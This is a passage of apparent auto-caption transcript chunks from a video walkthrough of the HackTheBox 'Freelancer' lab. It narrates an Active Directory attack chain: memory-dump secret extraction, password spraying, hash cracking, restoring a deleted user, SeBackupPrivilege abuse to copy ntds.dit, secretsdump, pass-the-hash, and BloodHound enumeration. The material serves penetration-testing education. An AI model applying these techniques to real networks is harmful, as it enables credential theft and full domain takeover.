{"text": "shell reverse shell but I think CMD shell will be fine so if we do who am I SL all um no extra real privilege if we do who am I Massa let's go into her home directory so let's go to um this directory is there anything in desktop we got a few files so let's go desktop type mail. text and it looks like they are troubleshooting a blue screen of death issue so they have a seven zip memory which is about 300 Megs so let's just copy memory. 7zip over to our SMB share um shoot well net use let's do yon 101 148 slash user hipc and then the password was what just please subscribe and we need to specify SL files the handle is invalid um let's say xville I wonder if that error is because we already have it mounted on one account I I think Windows is like finicky when you have the same share mounted multiple times not sure why so", "start": 2941.799, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 44 |
+
{"text": "that's why I just changed it to Y we can copy the memory dump here or that's why I changed the share name from files to xville because on this session it was mounted as files and windows just didn't like that so it's going to take a little while to copy this if we do a CD SMB or CD dubdub duub that's where we melted it duhs memory it's 53 Megs right now 56 keep in mind this is a 300 Meg file so I'm going to pause the video probably take 2 minutes to copy this file and then we can start beginning the analysis okay the file has been downloaded so if I do a DI du we see it is 280 Megs so let's go and make a directory I'm going to call this memory I guess and we'll go in here and move the file out of dubdub duub here cuz I don't want to leave that just on my web server because anyone that accesses the web server if I have indexing on may be able to download it and memory dumps are sensitive so let's", "start": 3035.24, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 45 |
+
{"text": "just seven zip un extract this and then once we have the memory dump we're going to use a tool called MPR FS when I originally did this box I spent a lot of time with volatility 3 and I just couldn't get everything working the way I wanted it to um the MPR FS did seem to work well so that's the way we're going to be showing in this video so let's go ahead and download MPR FS it's off of GitHub and we can just get the release and then there's going to be an issue with pi pcats I believe because the latest version wants python 310 and I have python 39 on this box so we're going to have to downgrade to an older version of piy cats and I don't think that will cause an issue so I'm going to download the x64 copy of this so we'll do a WG and then let's do a tar xvf the M proc okay so now we have the MPR system", "start": 3096.28, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 46 |
+
{"text": "I'm going to delete the archive so we can RM that and then if we want to mount something let's just do um we'll just mount it to SL Mount I guess we can do pseudo do SL MPR FS uh the device we're going to give it the dump file so memory. dump and then the mount path I'll give it/ Mount and then we're going to I don't think we have to specify forensic or do we Mount point is not empty M SL Mount SL um M pseudo do SL Mount me there we go if we go into Mount m i we'll have to do pseudo M we have the dump file as like a file system so if we went to like PID we could see all the P IDs here um let's just go to um let's do 1308 and then we can cat win CMD line and we can see this is um a service host process local service like that um we can probably just do catar when- CMD line.", "start": 3156.88, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 47 |
+
{"text": "text and get all the files um maybe for I in LS star when CMD line. text do cat I is that going to do it better we can also put an echo here there we go uh we can also say Echo Das and I like that so now we got the file name this is going to be p700 is dcom Elsas is p ID 584 so you can navigate processes this way so if we go into 584 we can see other things of Elsas um like if we wanted to view the memory proba go in me map I guess don't know exactly how to do this um what under files handles modules vads but this is one thing um there is plugins and that's what we're supposed to do so if we went into Pi um let's go reg Secrets it says we have to install things so we have to install the plugins and to do that we just drop the plugins directory into plugins so I'm going to go back back to Mount we can close this", "start": 3244.319, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 48 |
+
{"text": "and I will do a get clone on this and then we go in files plugins we got Pi pie cats and rag secrets so I'm going to move those to just the plugins directory so now in plugins we do have pi pcats and R Secrets but Pi pcats is not installed on a box so if we try this Mount again where is the Mount command there it is CDM then we go in pi we do reg Secrets again there's an import error because Pi pie cats can't be found so if we just did a pip 3 or going to Gose sudo Su so we install this on Route pip 3 install Pi pcats we just Tred to install it this way because I'm on python 39 we get an error like this because python 39 doesn't support that so what I did was just went to P pie cats um is it pip there we go and we can see old versions in release history so I'm going to download 69 so let's do a uninstall ppy cats", "start": 3331.359, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 49 |
+
{"text": "and the correct answer is probably get this on a different VM that's running like python 312 or something newer than 39 I really got to update my parrot maybe I'll do that next week um let's see so we'll do 069 okay so now I can run Pi pcats so if we do this Mount again I don't actually don't think it's going to work because I think there is one more file we need um let's just try it though CD M did I do this in the I'm mounting in M proc FS let's just do it a m Pi reg Secrets oh it mount it it installed fine I think we Cat Sam there we go we got the Sam file uh we could try from this logging in with this ntlm hash so if I did a uh let's do oh don't kill the pain let's try nxc SMB 1010 115-u administrator -8 P this uh we get a login failure so let's see there is security. text and software. text I", "start": 3417.72, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 50 |
+
{"text": "don't know actually what's in software um nothing if we look at security. text we have it dumping a bunch of things out of LSA and we got two credentials here we got MSA SQL server password and this pwned one so let's add this into or passwords do text so we can add ped and then this mssql okay and I'm just going to take the two out of there we can say new passwords text then let's do that SMB I'm going to say- P new passwords and dasu is going to be our users. text and we also want the continue on success there we go so we're going to do a password spray on the new ones and while we do that let's see if there's any other passwords here so looking at this uh we have LSA machine account and we got some dcc2 hashes so these are just um hash passwords of users that logged in so let's go ahead and copy these out so let's v um hashes", "start": 3518.839, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 51 |
+
{"text": "text paste that let's grab this paste that and let's grab the final one paste that save it and then we'll cut it again so we can easily put this on our clipboard and I'm going to go over over to the Kraken which is just another box of my network um you can use your H to crack if you want but just don't crack in VMS because it's slow right so let's go into the hashcat FI uh folder V hashes and then I'm going to call this I guess freelancer dcc2 paste them and we can say slash hashcat the hashes opt wordless rocky. text and let's make sure it detects it I guess while it's going we can see if we got any more credentials so I'm going to go back in the database if I just do creds doesn't look like we have any I thought we would have let's see so we got the SQL service doesn't look like we have any extra creds", "start": 3601.76, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 52 |
+
{"text": "looking at hashcat there is one that has cracked so if we do D- show we can see Lisa Koff is Rocky um with the exclamation point so let's copy this and then we can go back here um let's see it was Lisa see where is oh there we go it's the last one right here so let's just try this password Rock youu and then the username is going to be l k a z a n o f I think that's it and we also get a login failure so let's just do a sanity check make sure we copy and pasted things right we have the phone password and my SQL and oh I didn't copy the whole password it's just in chunks um this is the rest of this password so let's add this and then the mssql it's my pass wd9 um I think my brain just saw um sa and thought this was like a MySQL password cuz we see it's mssql data but no this is part of the entire password I think um it makes it more", "start": 3699.559, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 53 |
+
{"text": "obvious when you look at it and both of them were the same exact length that makes you think it's in chunks or something like that right so let's go ahead and um redo our net exec with a password spray see if we get anyone else and I guess while this goes um oh I saw one we do have Laura 199 has hit so we could use the um run as CS again to probably change the user um we may also just be able to use either win orm if they have win orm so let's test that um I'm just going to let this logins finish we do creds now we can see we do have that um let's see we can do nxc when rm- or we need the IP 1010 115 what was the username l r r A1 99- P owned Laura amasa 1999 let's see l so what does this work with SMB no I have a typo somewhere see where is grab this okay okay we do have that let's just use", "start": 3787.799, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 54 |
+
{"text": "evil when rm- I 101 11 what's the IP 5 U uh this is going to be P there we go and the reason why I wanted to use Evo winm here instead of runss is because like whenever I can use a remote protocol like SSH or winrm I prefer to do that because if I stopped doing the box and then picked up at a later time I don't have to get the shell to be able to use run SCS I like just having the credential to log right in right so if we do who am iall as Laura uh let's see we don't have any privileges if we look at the groups let's see authentication we have this ad recycle bin group so it looks like this user can read the active directory recycle bin so let's enumerate that with get ad object and then we can specify include deleted objects and we're going to specify a filter of is deleted is equal to true so this will just show us all the deleted objects we can see there is one", "start": 3897.88, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 55 |
+
{"text": "it's going to be Lisa kinof and oddly enough that is the one that had cracked and we could and find this username in our like get ad users dump we found L kazanov I think but not this full username so this one is deleted it looks like we can do a um restore ad object and then identity is going to be the object guid and let's see a name is in use so let's give it a new name of lisa. deleted okay so if we do get ad user- filter star select Sam account name we do have Lisa kinof right here um we could just say filter on her see um she's the last one we have lisa. deleted as the common name but the Sam account name is going to be Lisa kazanov so let's go back to our crack map exec um let's let's see up here there we go and do the old password which I think was um rock like with exclamation point right so if we do", "start": 3978.88, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 56 |
+
{"text": "this we have password expired but we can use the SMB um passwd dopy from impacket to set a new password so the target is going to be um freelancer htb Lisa dot um how do we spell it k a z n o f then a colon the password which was you we probably should put this in quotes I always get scared when I have exclamation points in a bash command so I always put that in single quotes uh the next thing we need is new pass and we'll just do password one I thought I specified the old pass see that did not work let's just do it this way I must have screwed something up wonder if you do at 10 10 115 okay that's what I had screwed up so I'm bet if we did a colon like that with the ad it would have worked um so password was successfully changed so we should be able to log in so I'm going to try and um nxe here and we'll put this as password", "start": 4077.72, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 57 |
+
{"text": "one and valid password but we did not log in we can see if they can do a win RM and it looks like they can so let's do evil win rm- I 10101 15 or five uh --u Lisa kazanov P password one and we get in so let's do a who am iall and we have the SE backup privilege we have a few of these like SE restore backup whatever but this is the dangerous privilege I'm going to Google um exploit SE backup because I can't remember all the commands off top my head um hacking articles there's two right here which one do we want to go to what's this page look like uh let's not use that okay this is talking about three ways disc Shadow and Robo copy we can do dlls here so if we wanted to upload to DLS we could I'm not going to do that way just because Windows Defender is on I don't know if it detects them we could", "start": 4174.319, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 58 |
+
{"text": "also potentially do it through WB admin but I think the most common way is going to be dis Shadow so we have to create a script that has this content in it um it explains exactly what it's going to do but essentially it sets up a backup to Eon that then we can go into so let's really quickly do this uh program data uh cddb dub V backup. script paste that that looks fine let's do a curl 10 10 148 8,000 backup script do have a server still listening I don't think so Python 3 HTTP server rerun this save it to backup.", "start": 4244.64, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 59 |
+
{"text": "script okay so now that we have the script on the box we can do the dis Shadow command uh we named it something different backup script there we go and I don't know if that worked I think we have something wrong set rever on I hope it's not like a UTF thing because this is what it should look like huh see does this have y no which one has y colon mounted I think this one yon awesome let's try copying the script this way copy backup script C colon program data I'm just going to call it backup uh that is bad I wonder if like a cleanup script happened and killed my connection looks like that one's still alive the password doesn't seem to be working so we may have to redo the whole ad0 object step which kind of sucks get ad User it's taking a while did my VPN die ping 10 1045 it looks like my VPN died so I'm going to pause the video and", "start": 4298.12, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 60 |
+
{"text": "get back to where I was actually I realized my VPN probably didn't die when I pinged it the last time I did Ping 10 10 145 instead of um the right IP address which was 115 so I don't know what is happening here my winrm just completely died on this box I got back on Laura let's see get 0 user filter star do we still have deleted object we do but I don't think this password's working is this the one we did SNB password no which window did we do that in probably here let's see let's try saying the password again authentication failure does not have that does not have that password let's just do the 80 object step again get 80 object include deleted objects filter is deleted equal to true I have no idea what just started happening I wonder if my clock just went just far enough out of sync where curro", "start": 4427.32, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 61 |
+
{"text": "started becoming a problem um let's see reset ntp Q 10 10 115 how do we set the date let's see ntp set date ntp date- s see if this works my time has definitely been changed let's see is this the right shell I should have taken better notes um I see 8 recycle bin so we can say deleted see copy this new name Lisa test doesn't be past WD this is weird you exclamation okay so I think it was um Cur Roos that was stopped me from logging in because the password did not change um it's weird that I Al started having issues all at once but uh it looks like everything is fine nothing um had reverted it was just a weird case of my time going out of sync and like everything going bad uh let's see program data you still have the backup file so let's try this again we were here here we copy that script do this Shadow back", "start": 4546.44, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 62 |
+
{"text": "up and it really doesn't like that file because we do have set verbos on back up see we'll just call it B and to try catting each of these to a file cuz if this do doesn't work then I guess we're doing the backup the wrong way and I should have read the entire article but you digress or I digress or whatever the phrase is this is definitely a pain and I'm guessing once this file is done it's going to be twice the size as the other ones yes it is and I say that because this is going to be utf16 encoded so that's why it's twice um maybe that's what made the difference I don't know if that's better or not it's not what the website showed I expected to see more stuff but CD e colon Drive does not exist we just do dis Shadow can't direct it what is going on here I am getting relatively confused let's try changing the inuring of B so I'm", "start": 4717.36, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 63 |
+
{"text": "going to do get content path B we're going to set the content to I'm going to call it back because I don't know exactly what names I've used know I haven't used that we'll say encoding asky Wim failed again not exactly sure what's going on with my winrm connection it is hanging I'm paying the Box why won't this exit umf crap evil winm see kill -9 on Lisa okay date still look like my data is set far enough in the future nxe that's failing rock you he did this with SMB and it told us the password is expired okay okay so maybe it was restoring the object and it just kept your password I have no idea what's going on I'm guessing this is some type of self-healing script so people don't step on each other it's creating odd behavior okay so I'm in let's go back to that set content command CD PR data do a", "start": 4873.04, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 64 |
+
{"text": "DI okay so maybe it was the line breaks in these maybe like Linux is only doing back sln and windows wants back SLR back sln that's the only reason I can think of that being like nine bytes bigger because that's probably like nine lines so we got an extra character per line so that may explain this um let's see they do dis Shadow and robocopy what was that command we do robocopy next this is it that looks much better so well this is really finicky with how you do encoding um I guess I'd recommend echoing and then um setting the content I not exactly sure but that is something I just learned I didn't realize how pck finicky it was so CDE and now we can robocopy this and I'm guessing the next one's going to be a registry um right protected see wonder if we need a copy this straight to our host", "start": 5011.4, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 65 |
+
{"text": "come on give me a Shell back it's still trying to copy let's go back get a shell again do we still have e we do so what was that command we did like that let's copy to C back SL program data is that going to work it looks like it does it's probably copying in a folder um let's see we did Rob copy now we want to do the reg save so we'll save the hklm system to zon program data system see colon program data let's see what do we have we have system don't have ntds.dit see wonder that was a folder is trying to copy copy ecolon Windows ntds ntds.dit to here do this Robo copy again see it was disc part this Shadow let's run this again then after we run it don't know exactly what that's doing are the arguments of that so Des Source SQL and windows ntds SQL and temp okay let's do robocopy ntds.dit c colon program data", "start": 5096.0, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 66 |
+
{"text": "ntds.dit e colon windows I'm guessing the ntds is not a directory here it looks like it is actually copy ntds.dit program data permission denied so we may have to do something else I don't want to do a type against that let's just run the command as they wanted to but on C colon maybe the issue was when we ran this we were inside of the e Drive and that's why we couldn't write okay that looks better yep that was it um it was just the directory we were in when we were running the command okay so now we have all the files we just want to copy them back to our box um let's see let's go to where our SMB server is cuz I don't think this is melted anymore or is it awesome it is so we can CP C colon program data ntds.dit to um here that should copy and then we also need to copy the registry Hive that we copied which was", "start": 5263.719, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 67 |
+
{"text": "system so C colon system okay so that's probably in the dubdub duub directory now it is let's move ntds and system up One Directory move that out of the web and now we can do secret stump I think it's local ntds.dit um security security uh we probably need the system Hive so I don't think we grabbed everything how is this doing it we just did oh we did system not security there we go helps if I specify the right files so this did a secret stump so we just extracted the ntds.dit file and this will have the administrator hash this is going to be the latest one and this should let us into the box so let's do a um we can do NX uh nxc SMB 10 10 114 or five U administrator or hash that and this should say pwned it does so let's do a PS exact oh that's not that's not going to work um what's the other one wmi exec there we go PS exec isn't going to work because defender's on N PS exec drops a file wmi exec", "start": 5360.88, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 68 |
+
{"text": "doesn't so this one should have a better result um DH I think we just specify the hash this way um at 101015 it is- hases and there we go so if we do a CD users administrator desktop dir we can get root. text so that is the intended way to do this box but not the end of the video because there is a unintended solution that if you ran Blood Hound early on that you probably would have found um you can skip the whole recovering the user out of the recycle bin step that also enables you to skip the exploiting the backup privilege because um the ad8 recycle bin has generic right over the domain so you can do a constrain delegation attack so let's show this unintended solution and first I want to show a different way um you could have processed the um hash I'm trying to find out exactly where I have that mounted to where was that mount which tab was it", "start": 5473.88, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 69 |
+
{"text": "here do I still have it mounted cd/ Mount M it looks like I do so I forget exactly where I have mounted this but let's just go with it um when you mount the memory dump we went into the pi and then was it reg secrets and got the files that way right we did a CAT security. text um this required having a lot of the Python like Pi pcats installed I believe you could even without Pi pcats if you just went into the registry and then you have access to all the registry hives so if we went into like HK local machine um it's going to let us like browse the registry I believe and we don't want to do this because this is treating like the registry as a whole directory we just want it as a block object in order to use it with secret stump right so let's go over to the hive files and then we have these so we can", "start": 5547.6, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 70 |
+
{"text": "do um secret stump. piy and you can do Sam find the Sam file where is that I guess we can do system first so let's do das system then the Sam is right here and we can say security and we give it all these high files oh we Al to also have to specify the target which is local we get pretty much the same thing we're missing that rock you password so this is why when I did it this way um I missed it because I could recover the user but not reset the password because I didn't see rocku exclamation point and I don't think I um attempted to crack these hashes I don't know why I didn't but um I just didn't and we have the dates they were set and then you also have the nlms right right so this is just another way you could have um pared the information the key thing you need is just getting this poned password because this is going to be the user that has that um", "start": 5607.719, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 71 |
+
{"text": "dangerous right right um let's go back over to our box so let's go here let's just create a new pane um I'm going to do password. text do we have that we did not put the full password so that should be fine and now we want to um install Blood Hound I'm going to do that first before we collect the data because Blood Hound has recently changed a lot um I don't know well maybe it's not recent but it's new to me so if we do GitHub uh what was it Blood Hound ad I think that's where the normal repo is and then we download that um like binary that let us do like open up blood hound that's like not being supported anymore so if you want to do all the new cool things you should use The Blood Hound Community Edition and it's a little bit different because it uses doer to set up so it's no longer just a single", "start": 5676.239, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 72 |
+
{"text": "binary and I think I have some issues with my install process it may not be the same on yours but we'll see if it happens so I'm going to clone this repo and I probably should have still been root to do this we'll do get clone and I'm going to make my IPC user and owner of this directory once it's there so CH own IPC ic- R blood hound and the other downside to using this is the blood Helm python doesn't seem to be working with it so we're going to have to use the sharp Hound ingestor so that's why I wanted to install this first to kind of explain that so we go to Docker compose and we can just do Docker compose pole I want to say and this is going to pull everything and then once we pull it we can do a up I think period will let us get our Command back what is it um let's see do they have an install quickly let's see compose", "start": 5735.04, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 73 |
+
{"text": "pole and then up I want to say it's a period you may have to do a dash d as well let's see Blowfish no there's the service did we do what it said Docker compose pole okay Docker compose up I don't think this give me my terminal back I probably need to do a d d oh well we'll leave this be so this should start the docker containers so if we do Docker let's go back into opt uh Blood Hound examples compose we're missing one container we're missing the blood hound container oh there it is I'm going to hold on one second I just realized I screwed something up I'm going to add the Dash D because I need everything up and then we're going to remove it and do a-h V to delete the volume because when you start Blood Hound up for the first time it's going to randomly generate a password that becomes hard to pull if you don't do it right away so down DV will turn the", "start": 5797.92, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 74 |
+
{"text": "docker composer or Docker files down and then also delete them but the thing I want to do is go into burp suite and we're going to disable our proxy on 8080 because by default um blood Hound's going to want to bind on port 8080 so that's why I had done that but I'm just going to do the docking POS up- D it's going to spin it all up um once these two containers are up it should start The Blood Hound container and that's going to be the one that actually has the password in it so if we went to let's see blood hound.", "start": 5883.32, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 75 |
+
{"text": "GitHub if we go to this ingestor it's going to say it's only compatible with um Blood Hound 42 and 43 oh wait there may be a python Blood Hound P tree Blood Hound C so there's a branch here I have not used this yet let's try this um we got to just switch the branch to Blood Hound dce sweet um let's do it live I haven't tried this before uh let's see we want to do do and compose logs then Blood Hound to get the container logs out of Blood Hound if you just do Doc and compos logs it'll get for every container and I don't think it like gets enough lines maybe it will this game more than I expected but sometimes I didn't see the password actually showing up here so if we look for initial we can see the initial password was set so we can grab this and then let's see uh we want to do HTTP Local Host 8080 we'll put that initial password in and", "start": 5921.52, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 76 |
+
{"text": "then the default email address is in this config it's spam at example.com that is a funny default email address but now we can log into blood hound if we set our password so copy this and the password has to be 12 characters so I'm going to do password 2024 if I can type reset let's see that is what it is okay so no data so we have to get data now and this is going to be a piece I have not done before but let's try this out um we can do delete that we don't need that zip uh get pole okay get Branch we're on Master we'll do get check out what is the branch name Blood Hound Das CE Blood Hound C okay I think we're on this I'm just going to pull to be good measure I think we're fine so this should have set everything does this Tomy one C it doesn't um I guess let's try it Python 3 blood hound.", "start": 5997.719, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 77 |
+
{"text": "py and doesn't look like it's going to tell us but okay so we'll say- NS the name server 101011 do what was it 5 DC freelancer htb um I'm going to also give it the domain name of freelancer htb and then I want to say we want to add zip and give it the um credential so we're going to use let's use masa's password so we can go cat passwords I love AER because this is the first account I think we got so normally I run Blood Hound like as one of the very first steps so I just want to show the data is available as any user because it generally doesn't matter who you run blood pound as grap masassa acrian copy this paste and it looks like it's working so when I had done this I actually used the Sharp hound. net binary just because I didn't pay attention to the whole read me that said if you want to use Docker CE switch over to um that", "start": 6082.0, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 78 |
+
{"text": "Branch so now we have blood hound let's go back here and we can go to file inest upload file and let's see is that the file where are we we're in opt blood hound. going to grab this file upload and it is currently ingesting so it take a little bit to ingest probably about a minute and then once it does we'll be able to go over to the Explorer Tab and um play with it now Blood Hound is a little bit different now if you can't tell the interface has changed up from where tell if you want to go look for the default queries go over to ciphers then you can click the folder and you have most of them here right I couldn't find like shortest path from owned principles instead um you have things like this and I don't think it's like I think something's wrong with my copy because the images aren't working I", "start": 6158.599, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 79 |
+
{"text": "don't know why that is but um yeah let's see I want to see if our file has been ingested yet because I want to say the shortest path should look a little bit different uh let's see my profile download collectors these are the supported collectors where is file inest it is save layout export you run this it definitely should be done by now and no node probably Administration okay we have collected the data and it is not behaving as I expected wonder if we set our account let's go Laura to domain admins query yes nothing so I think a lot of edges are missing click here a member of four groups it is catching that it's not getting the constrained delegation piece though okay that is weird um and I am on I am definitely here see no tracking information with it I'm actually going to rerun this real quick let's do a rm-rf", "start": 6224.119, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 80 |
+
{"text": "on this going to reclone and when I clone it I'm going to specify the branch just in case my checkout didn't work I think I did it correct but I am not positive because normally The Blood Hound python just works flawlessly so we'll do dasb so we specify the branch as we pull it Blood Hound dce okay let's go let's see we need to do a CH own CH own IPC i-r Blood Hound Pi pip 3 install um Python 3 setup.py install pseudo oh man this is becoming a pain uh Docker build dot I just want to make sure like my um local machine doesn't have an old version of Blood Hound python that it's using um this is always the biggest pain I think with running just python applications is always getting a clean environment right so this running it out of this Docker file should ensure us that we're running the Community Edition", "start": 6351.52, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 81 |
+
{"text": "and sorry for that sloppy cut but we have the container built now when I did this Docker build I probably should have done a tag to call it like blood hound ingester because now I have to specify the image name when I try to run it because we don't have any name here at least I think I have to so we're going to copy the image ID and say Docker run um we'll do interactive remove this sh does that run it it does let's see can we Mount let's do a-v we'll say or working directory into SL Mount of the container and that did not work but oh well uh we can just copy it afterwards so let's do a um was it blood hound. p what was the name uh masassa so I want to copy this let's just go here copy paste I think we just say blood hound. py blood hound python is the argument face this and actually I'm going to specify - c all so we do all collection methods just", "start": 6447.8, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 82 |
+
{"text": "in case maybe the default collection method wasn't getting the constrain delegation this should definitely work so if you ever wanted to run a clean install of The Blood Hound container this is probably going to be it I'm guessing we were doing the Community Edition because oh never mind this is probably just the computer name uh let's see one query timed out and maybe this host doesn't exist but we have the file here if I do it LS we do have specified zip right I did I don't know why also have a users file that's a bit odd but let's just do a Docker CP then we can say 20241 I'm getting nope that's not it we want B65 this is the container name and because I did the-- RM flag at least I think I did I definitely don't want to turn the container down because it will delete all the data so we'll copy this", "start": 6542.639, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 83 |
+
{"text": "this Blood hound. zip and I'm also going to copy this users. Json because I'm not sure why that didn't put it in the zip file as you can see um not really an expert when it comes to Blood Hound I'm just kind of playing as we go especially with this new addition so we want to go to home ipac htb freelancer and then I'm going to give it this well user. text is zero bytes so we don't have anything there let's see how big is this ZIP this is 23977 opt Bloodhound dopy did I delete the zip here I could have swore I had it maybe I deleted the zip it has been uploaded doesn't give us any like hash of the file so I don't know um if anything's different it is still currently ingesting and I'm going to wait until it's done ingesting before we do anything just because I'm getting paranoid that maybe just going to that selection page before it ingested is what screwed it", "start": 6606.44, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 84 |
+
{"text": "up so I'm going to pause the video we'll probably wait a minute and then I will refresh this page and hopefully it says completed and we can move on okay we have the duration actually took a minute here so we took longer to process this maybe that's a good thing if I go to explore Cipher let's do shortest path to domain admins and hopefully it actually gives us a path instead of just yeah this is what I expected so I'm guessing when I ran The Blood Hound pie it was still pulling from my old one right so the shortest path isn't really going to help us too much we can see uh we have some users a member of account operators and I don't think any of these we have is owned right we have J green Evelyn J Martinez and that so let's just set our own um um we have Laura and man that is really ugly we're getting a lot more data here so this is", "start": 6693.84, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 85 |
+
{"text": "definitely different right we have 69 and 12 of these object controls and we had none before but we can add this to own um we also have aasa and I'm sure this should look prettier because there's probably a special like owned graphic there but oh well so glancing at this it doesn't look like we have any as owned because I don't see that second oh maybe this is there we go we have one so this actually did work so shortest path is going to show us we have Laura is a member of AD recycle bin that has generic right over the DC and this is going to be the host name dc.", "start": 6751.48, "duration": 0.0, "meta": {"video_id": "NcicYfFofS4", "title": "HackTheBox - Freelancer", "url": "https://www.youtube.com/watch?v=NcicYfFofS4"}}
|
| 86 |
+
